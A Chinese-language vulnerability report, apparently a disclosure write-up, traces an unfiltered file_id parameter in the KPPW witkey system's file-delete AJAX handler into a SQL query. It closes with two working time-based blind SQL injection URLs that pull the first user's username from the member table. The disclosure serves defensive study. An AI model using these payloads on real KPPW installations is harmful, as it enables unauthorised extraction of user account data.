### 简要描述：
kppw威客系统SQL盲注漏洞
### 详细说明：
文件：/control/ajax/ajax_file.php
```
case "delete":
$res = keke_file_class::del_att_file($file_id, $filepath);
$res and kekezu::echojson ( '', '1' ) or kekezu::echojson ( '', '0' );
die ();
break;
```
进入del_att_file函数：
static function del_att_file($fid = 0, $filepath = '', $del_more = '') {
$file_obj = new Keke_witkey_file_class ();
if ($fid > 0) {
$where = 'file_id=' . $fid;
$filepath != '' && $where .= ' and save_name="' . $filepath . '"';
$file_obj->setWhere ( $where );
$file_info = $file_obj->query_keke_witkey_file ();
$file_obj->setWhere ( $where );
$res = $file_obj->del_keke_witkey_file ();
$filepath = $file_info [0] ['save_name'];
if (is_file ( $filepath )) {
$unlink = unlink ( $filepath );
if ($del_more != '') {
$more_name = array ();
$dirname = dirname ( $filepath );
$dirname = $dirname . '/';
$basename = basename ( $filepath );
$size_arr = explode ( ',', $del_more );
for($i = 0; $i < sizeof ( $size_arr ); $i ++) {
unlink ( $dirname . $size_arr [$i] . '_' . $basename );
}
}
}
return $unlink ? $unlink : $res;
}
进入query_keke_witkey_file函数：
```
function query_keke_witkey_file($is_cache=0, $cache_time=0){
if($this->_where){
$sql = "select * from $this->_tablename where ".$this->_where;
}
else{
$sql = "select * from $this->_tablename";
}
if ($is_cache) {
$this->_cache_config ['is_cache'] = $is_cache;
}
if ($cache_time) {
$this->_cache_config ['time'] = $cache_time;
}
if ($this->_cache_config ['is_cache']) {
if (CACHE_TYPE) {
$keke_cache = new keke_cache_class ( CACHE_TYPE );
$id = $this->_tablename . ($this->_where?"_" .substr(md5 ( $this->_where ),0,6):'');
$data = $keke_cache->get ( $id );
if ($data) {
return $data;
} else {
$res = $this->_dbop->query ( $sql );
$keke_cache->set ( $id, $res,$this->_cache_config['time'] );
$this->_where = "";
return $res;
}
}
}else{
$this->_where = "";
return $this->_dbop->query ( $sql );
}
}
```
在拼接SQL语句时：
$where = 'file_id=' . $fid;
$sql = "select * from $this->_tablename where ".$this->_where;
file_id没有过滤，导致sql注入。
### 漏洞证明：
利用证明：
```
http://127.0.0.1/kppw/index.php?do=ajax&view=file&ajax=delete&file_id=1 and if(substr((select username from keke_witkey_member where uid=1),1,1)=0x61,sleep(5), 1)%23&filepath=123
```
返回正常。
```
http://127.0.0.1/kppw/index.php?do=ajax&view=file&ajax=delete&file_id=1 and if(substr((select username from keke_witkey_member where uid=1),1,1)=0x62,sleep(5), 1)%23&filepath=123
```
返回错误，延迟5秒后返回
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